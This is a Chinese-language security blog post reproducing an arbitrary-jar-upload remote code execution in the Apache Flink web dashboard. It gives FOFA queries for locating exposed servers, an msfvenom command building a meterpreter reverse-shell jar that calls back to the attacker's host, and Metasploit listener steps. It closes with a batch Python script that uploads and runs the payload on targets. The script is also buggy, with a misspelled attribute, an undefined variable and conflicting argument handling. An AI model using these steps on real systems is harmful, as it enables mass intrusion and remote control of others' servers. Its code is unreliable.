0x00 前言
@Adminxe 今天胖胖表哥突然扔來一個復現，那俺得瞧瞧，正好寫個博客划划水，然后就引發了下面一些列的操作以及你想看到的，以及和你不想看到的文字。之前就有大佬復現過，畢竟水文和復現學習，那就來一波吧！最可惡的是，今天的MC兄沒有請客喝啵啵奶茶，必須點名批評一下！
從現在fofa的搜索量來看，基本也就是國內Apache Flink 存在1500左右的站點。
有安全研究員公開了一個Apache Flink的任意Jar包上傳導致遠程代碼執行的漏洞，影響范圍：
<= 1.9.1（最新版本）
此次復現就是通過版本Version: 1.10.1進行復現利用。
0x01 FOFA語句
app="Apache-Flink"
app="Apache‐Flink" && country="CN"
app="Apache‐Flink" && country="CN" && region="HK"
0x02 漏洞復現
1、這里隨便搞個站打開進行復現，打開以后就張這樣子。
點擊Submit New Job翻譯：文件上傳
2、打開MSF 生成一個 jar 木馬
msfvenom ‐p java/meterpreter/reverse_tcp LHOST=**.***.59.61 LPORT=4444 ‐f
jar > testone.jar
3、點擊 Add 上傳 jar 文件
4、設置監聽端口
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
msf5 exploit(multi/handler) > set lhost XX.XXX.XX.61
lhost => XX.XXX.XX.61
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run
5、點擊下 submit
6、反彈shell成功
0x03 批量化測試腳本
import sys
import json
import requests
def flink_check(vuln_url):
r = requests.get(vuln_url)
if r.status_code == 200 and len(r.content) > 0:
print(vuln_url + 'may has Apache Flink Web Dashboard RCE vul')
upload_jar(vuln_url)
else:
print(vuln_url + 'does not have Apache Flink Web Dashboard RCE vul')
def upload_jar(vuln_url):
upload_url = vuln_url + '/upload'
files = {
'file':open(sys.argv[2],'rb')
}
r = requests.post(upload_url, files=files)
if r.status_codes== 200 and 'filename' in r.content:
print('upload success')
json_str = json.loads(r.content)
filename = json_str['filename'].split('/')[-1]
submit_jar(vuln_url,filename)
else:
print('faild')
def submit_jar(vuln_url,filename):
submit_url = vuln_url + filename + '/run?entry-class=metasploit.Payload'
url = vuln_url[:-4]
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Referer': '%s' % url,
'Content-Length': '123',
'Connection': 'close'
}
payload = {
"entryClass":"metasploit.Payload",
"parallelism": 0,
"programArgs": 0,
"savepointPath": 0,
"allowNonRestoredState": 0
}
r = requests.post(submit_url, headers=headers, data=payload, proxies=proxies)
if r.status_code == 500 and 'org.apache.flink.client.program.ProgramInvocationException' in r.content:
print("[+] Poc Send Success!\n")
# print 'msfconsole -q -x "use exploit/multi/handler;set payload java/meterpreter/reverse_tcp;set lhost 10.10.20.166;set lport 8989;run"\n'
else:
print("[+] Poc Send Fail!")
"""
only for dected:
def POC_check(vuln_url):
res = requests.get(url=vuln_url, timeout=3)
data = {
'msg': res.json(),
'state': 1,
'url': url,
}
"""
if __name__ == '__main__':
if len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port
vuln_url = url + '/jars'
flink_check(vuln_url=vuln_url)
elif len(sys.argv) == 2:
ip = sys.argv[1]
port = '8081'
url = 'http://' + ip + ':' + port
vuln_url = url + '/jars'
flink_check(vuln_url=vuln_url)0x04 參考資料
- https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag
- https://flink.apache.org/downloads.html